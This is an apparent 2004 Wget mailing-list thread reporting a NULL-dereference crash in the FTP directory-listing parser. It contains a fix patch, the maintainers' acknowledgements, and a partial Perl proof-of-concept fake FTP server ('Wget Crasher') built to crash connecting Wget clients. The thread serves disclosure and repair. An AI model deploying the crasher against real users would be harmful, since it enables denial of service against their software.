Re: [PATCH] Crashes when parsing malformed directory listings from FTP server

2004-12-08 Thread Mauro Tortonesi
Alle 20:05, venerdì 5 novembre 2004, Ulf Härnhammar ha scritto:
 Hello,

 I have found that it's possible for a malicious FTP server to crash GNU
 Wget by sending malformed directory listings. Wget will parse them without
 checking if they are written in the proper format. It will do a fixed
 number of strtok() calls and then atoi() calls, and with the wrong format,
 atoi() will dereference NULL, leading to a crash.

 This affects 1.9.1, the latest CVS version and some older stable versions.

 I have attached a patch against 1.9.1 that will correct this, and a little
 fake FTP server that exhibits this problem when Wget connects to it. The
 server should be started from inetd or xinetd. My inetd.conf line looks
 like this:

 ftp   stream  tcp nowait  metaur  /usr/bin/perl perl 
 /path/to/wget-crasher.pl

 // Ulf Harnhammar
http://www.advogato.org/person/metaur/

hi ulf,

your patch has just been merged into wget cvs. sorry for the delay, but i have 
been quite busy lately. thank you very much!!!

-- 
Aequam memento rebus in arduis servare mentem...

Mauro Tortonesi

University of Ferrara - Dept. of Eng.http://www.ing.unife.it
Institute of Human  Machine Cognition   http://www.ihmc.us
Deep Space 6 - IPv6 for Linuxhttp://www.deepspace6.net
Ferrara Linux User Group http://www.ferrara.linux.it


Re: [PATCH] Crashes when parsing malformed directory listings from FTP server

2004-11-06 Thread Mauro Tortonesi
Alle 20:05, venerdì 5 novembre 2004, Ulf Härnhammar ha scritto:
 Hello,

 I have found that it's possible for a malicious FTP server to crash GNU
 Wget by sending malformed directory listings. Wget will parse them without
 checking if they are written in the proper format. It will do a fixed
 number of strtok() calls and then atoi() calls, and with the wrong format,
 atoi() will dereference NULL, leading to a crash.

 This affects 1.9.1, the latest CVS version and some older stable versions.

 I have attached a patch against 1.9.1 that will correct this, and a little
 fake FTP server that exhibits this problem when Wget connects to it. The
 server should be started from inetd or xinetd. My inetd.conf line looks
 like this:

 ftp   stream  tcp nowait  metaur  /usr/bin/perl perl /path/to/wget-crasher.pl

thank you very much, ulf. i will investigate the problem and the patch you've 
sent us.

-- 
Aequam memento rebus in arduis servare mentem...

Mauro Tortonesi

University of Ferrara - Dept. of Eng.http://www.ing.unife.it
Institute of Human  Machine Cognition   http://www.ihmc.us
Deep Space 6 - IPv6 for Linuxhttp://www.deepspace6.net
Ferrara Linux User Group http://www.ferrara.linux.it


[PATCH] Crashes when parsing malformed directory listings from FTP server

2004-11-05 Thread Ulf Härnhammar
Hello,

I have found that it's possible for a malicious FTP server to crash GNU
Wget by sending malformed directory listings. Wget will parse them without
checking if they are written in the proper format. It will do a fixed number
of strtok() calls and then atoi() calls, and with the wrong format, atoi()
will dereference NULL, leading to a crash.

This affects 1.9.1, the latest CVS version and some older stable versions.

I have attached a patch against 1.9.1 that will correct this, and a little
fake FTP server that exhibits this problem when Wget connects to it. The server
should be started from inetd or xinetd. My inetd.conf line looks like this:

ftp stream  tcp nowait  metaur  /usr/bin/perl perl /path/to/wget-crasher.pl

// Ulf Harnhammar
   http://www.advogato.org/person/metaur/

--- src/ftp-ls.c.old2003-09-15 00:04:12.0 +0200
+++ src/ftp-ls.c2004-11-05 17:34:47.0 +0100
@@ -454,11 +454,14 @@
   /* First column: mm-dd-yy. Should atoi() on the month fail, january
 will be assumed.  */
   tok = strtok(line, -);
+  if (tok == NULL) continue;
   month = atoi(tok) - 1;
   if (month  0) month = 0;
   tok = strtok(NULL, -);
+  if (tok == NULL) continue;
   day = atoi(tok);
   tok = strtok(NULL,  );
+  if (tok == NULL) continue;
   year = atoi(tok);
   /* Assuming the epoch starting at 1.1.1970 */
   if (year = 70) year += 100;
@@ -466,8 +469,10 @@
   /* Second column: hh:mm[AP]M, listing does not contain value for
  seconds */
   tok = strtok(NULL,  :);
+  if (tok == NULL) continue;
   hour = atoi(tok);
   tok = strtok(NULL,  M);
+  if (tok == NULL) continue;
   min = atoi(tok);
   /* Adjust hour from AM/PM. Just for the record, the sequence goes
  11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -497,7 +502,9 @@
  directories as the listing does not give us a clue) and filetype
  here. */
   tok = strtok(NULL,  );
-  while (*tok == '\0')  tok = strtok(NULL,  );
+  if (tok == NULL) continue;
+  while ((tok != NULL)  (*tok == '\0'))  tok = strtok(NULL,  );
+  if (tok == NULL) continue;
   if (*tok == '')
{
  cur.type  = FT_DIRECTORY;
@@ -678,6 +685,7 @@
   /* Third/Second column: Date DD-MMM-. */
 
   tok = strtok(NULL, -);
+  if (tok == NULL) continue;
   DEBUGP((day: '%s'\n,tok));
   day = atoi(tok);
   tok = strtok(NULL, -);
@@ -695,11 +703,13 @@
   /* Uknown months are mapped to January */
   month = i % 12 ; 
   tok = strtok (NULL,  );
+  if (tok == NULL) continue;
   year = atoi (tok) - 1900;
   DEBUGP((date parsed\n));
 
   /* Fourth/Third column: Time hh:mm[:ss] */
   tok = strtok (NULL,  );
+  if (tok == NULL) continue;
   hour = min = sec = 0;
   p = tok;
   hour = atoi (p);
@@ -730,10 +740,12 @@
   /* Skip the fifth column */
 
   tok = strtok(NULL,  );
+  if (tok == NULL) continue;
 
   /* Sixth column: Permissions */
 
   tok = strtok(NULL, ,); /* Skip the VMS-specific SYSTEM permissons */
+  if (tok == NULL) continue;
   tok = strtok(NULL, ));
   if (tok == NULL)
 {
#!/usr/bin/perl --

# Wget Crasher 0.1.0 - fake FTP server that crashes GNU Wget
# by Ulf Harnhammar in 2004
# I hereby place this program in the public domain.

use strict;
use Socket;

@main::port = (0, 0, 0, 0, 0, 0);
$main::loggedin = 0;


sub mysend($)
{
  print $_[0]\015\012;
} # sub mysend($)


sub myreceive($)
{
  my $inp = '';

  $inp = STDIN; $inp =~ tr/\015\012\000//d;
  $_[0] = $inp;
} # sub myreceive($)


$|++;
mysend('220 Welcome to Wget Crasher 0.1.0 !!');

while (1)
{
  my ($str, $savestr, $reststr) = ('', '', '');

  myreceive($str);
  $savestr = $str;
  $str =~ s|^([A-Z]+) *(.*)$|$1|;
  $reststr = $2;

  if ($str eq 'USER')
  {
mysend('331 Anonymous access allowed, send identity (e-mail name) '.
   'as password.');
$main::loggedin = 1;
next;
  }

  if (($str eq 'PASS')  ($main::loggedin == 1))
  { mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }

  if ($main::loggedin  2)
  { mysend(500 '$savestr': Command not understood.); next; }

  if ($str eq 'SYST')
  { mysend('215 Windows_NT'); next; }

  if ($str eq 'PWD')
  { mysend('257 / is current directory.'); next; }

  if ($str eq 'TYPE')
  { mysend(200 Type set to $reststr.); next; }

  if ($str eq 'PORT')
  {
if ($savestr !~
m|^PORT ([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+)$|)
{ mysend('500 Invalid PORT command.'); next; }

@main::port = ($1, $2, $3, $4, $5, $6);
mysend('200 PORT command successful.'); next;
  }

  if ($str eq 'LIST')
  {
my ($remote, $port, $addr, $adddr, $tcp) = ('', 0, 0, 0, 0);

if (($main::port[0] == 0) 
($main::port[1] == 0) 
($main::port[2] == 0) 
($main::port[3] == 0))
{ mysend('425 Unable to build data